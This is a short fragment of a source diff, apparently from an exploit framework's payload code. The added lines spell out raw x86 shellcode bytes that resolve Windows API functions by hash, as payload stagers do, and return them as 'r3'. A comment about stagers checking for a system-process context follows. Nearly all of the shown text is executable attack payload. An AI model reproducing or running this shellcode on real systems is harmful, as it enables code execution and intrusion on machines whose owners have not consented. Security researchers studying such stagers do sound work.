+ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
135
+ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
136
+ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
137
+ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
138
+ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
139
+ "\x31\xC0\x50\x50\x50\x8D\x9D\xA0\x00\x00\x00\x53\x50\x50\x68\x38" +
140
+ "\x68\x0D\x16\xFF\xD5\xC3\x58"
141
+ return r3
142
+ end
143
+
121
144
  #
122
145
  # This stub is used by stagers to check to see if the code is
123
146
  # running in the context of a user-mode system process. By default,
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes